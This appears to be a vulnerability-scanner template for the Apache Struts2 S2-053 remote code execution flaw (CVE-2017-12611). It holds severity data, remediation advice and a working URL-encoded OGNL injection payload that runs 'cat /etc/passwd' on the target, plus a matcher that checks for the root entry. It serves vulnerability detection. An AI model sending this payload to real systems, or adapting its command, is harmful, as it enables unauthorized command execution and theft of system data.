44 lines
2.3 KiB
YAML
44 lines
2.3 KiB
YAML
id: CVE-2017-12611
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info:
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name: Apache Struts2 S2-053 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
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remediation: |
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Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
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reference:
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- https://struts.apache.org/docs/s2-053.html
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- https://nvd.nist.gov/vuln/detail/CVE-2017-12611
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- https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001
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- http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt
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- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2017-12611
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cwe-id: CWE-20
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epss-score: 0.97358
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epss-percentile: 0.99841
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cpe: cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: struts
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tags: cve,cve2017,apache,rce,struts
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http:
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- method: POST
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path:
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- "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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